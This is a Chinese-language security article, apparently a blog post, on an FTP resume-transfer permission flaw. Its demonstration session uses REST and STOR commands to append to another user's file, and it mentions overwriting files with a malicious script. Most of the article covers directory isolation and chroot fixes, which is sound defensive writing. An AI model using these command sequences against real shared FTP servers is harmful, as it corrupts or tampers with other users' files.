許多 FTP 服務器為了用戶體驗開啟「斷點續傳」功能,卻忽略了其背後的權限邏輯缺陷:擁有「寫入/追加」權限的用戶,可利用 REST 命令任意修改/截斷/注入同目錄下其他用戶上傳的文件。本文複現漏洞原理、演示破壞後果、給出徹底修復方案。
FTP 協議 REST 用於告知服務器「下一次傳輸從文件偏移量
SIZE filename 獲取已上傳大小;REST 設置斷點;STOR filename (或 APPE) 追加剩餘數據。漏洞利用: 攻擊者針對已存在的完整文件,故意設置 REST 為文件當前大小,再 STOR 少量數據 → 文件被追加;若設置 REST 0 再 STOR → 文件被覆蓋/截斷。關鍵在於:服務器未驗證「發起 REST 的用戶是否為文件原上傳者/擁有者」,只要目錄有寫權限即可操作任意文件。
# 假設 FTP 目錄下存在 Readme.txt (1000 bytes),攻擊者有寫權限
ftp> dir
200 PORT command successful
150 Opening data connection
-rw-r--r-- 1 user1 users 1000 Jan 01 00:00 Readme.txt
226 Transfer complete
ftp> quote REST 1000 # 設置斷點為文件末尾
350 Restarting at 1000. Send STORE or RETRIEVE to initiate transfer
ftp> put evil.txt # 本地 evil.txt 500 bytes
200 PORT command successful
150 Opening data connection
226 Transfer complete
ftp> dir
-rw-r--r-- 1 user1 users 1500 Jan 01 00:01 Readme.txt # 文件被追加 500 bytes!
# 進階破壞:REST 0 + STOR 惡意腳本 → 覆蓋原文件
# 二進制文件 (視頻/壓縮包/可執行文件) 被注入數據 → CRC 校驗失效、播放失敗、解壓報錯、執行惡意代碼
| 文件類型 | 注入/追加/截斷後果 | 業務影響 |
|---|---|---|
| 視頻/音頻 (MP4/AVI/MKV/MP3) | 容器結構破壞,播放器報「非法文件/無法播放/損壞」 | 素材庫失效、審核失敗、分發中斷 |
| 壓縮包 (ZIP/RAR/7Z/TAR.GZ) | CRC32 校驗失敗,解壓報「文件損壞/非法壓縮包」 | 備份不可恢複、交付包驗收失敗、惡意代碼植入風險 |
| 可執行文件 (EXE/APK/SO/DLL) | PE/ELF 頭破壞,簽名驗證失敗,若注入 Shellcode 且繞過 DEP/ASLR → RCE | 供應鏈投毒、客戶端植入後門、信譽災難 |
| 文檔/代碼/配置 | 語法錯誤、邏輯篡改、敏感信息竄改 | 構建失敗、配置漂移、合規違規 |
# 核心原則:每個 FTP 用戶/業務方 獨享一個物理/虛擬目錄,目錄間絕對隔離
# 1. 物理隔離 (最簡單、最徹底)
/data/ftp/
├── user_a/ # 僅 user_a 有完整權限
├── user_b/ # 僅 user_b 有完整權限
├── public/ # 僅只讀/特定上傳目錄可寫,定期掃描清理
# 2. 虛擬隔離 (Serv-U / IIS FTP / vsftpd 虛擬用戶)
# 配置每用戶 Home Directory = /data/ftp/user_x
# 啟用 "Lock User to Home Directory" / chroot_local_user=YES
# 物理層面仍可為同一磁盤分區,邏輯層面絕對隔離
# 3. 共享協作目錄 (若業務必須共享)
# 僅建立「上傳箱」目錄:寫入權限 + 定時掃描病毒 + 定時移動至只讀區
# 禁止在共享目錄直接編輯/覆蓋他人文件,流程走「上傳新版本 → 審核 → 發布」
結語: FTP「斷點續傳」漏洞本質是「協議權限粒度粗糙 + 多用戶共享寫入目錄」的結合產物。無例外:必須實施「用戶獨享目錄 + chroot 強隔離」。共享協作場景採用「上傳箱 + 審核流轉 + WORM 存儲」模式。將 FTP 從「共享文件夾」重構為「安全傳輸管道」,才能從根源消除此類邏輯漏洞。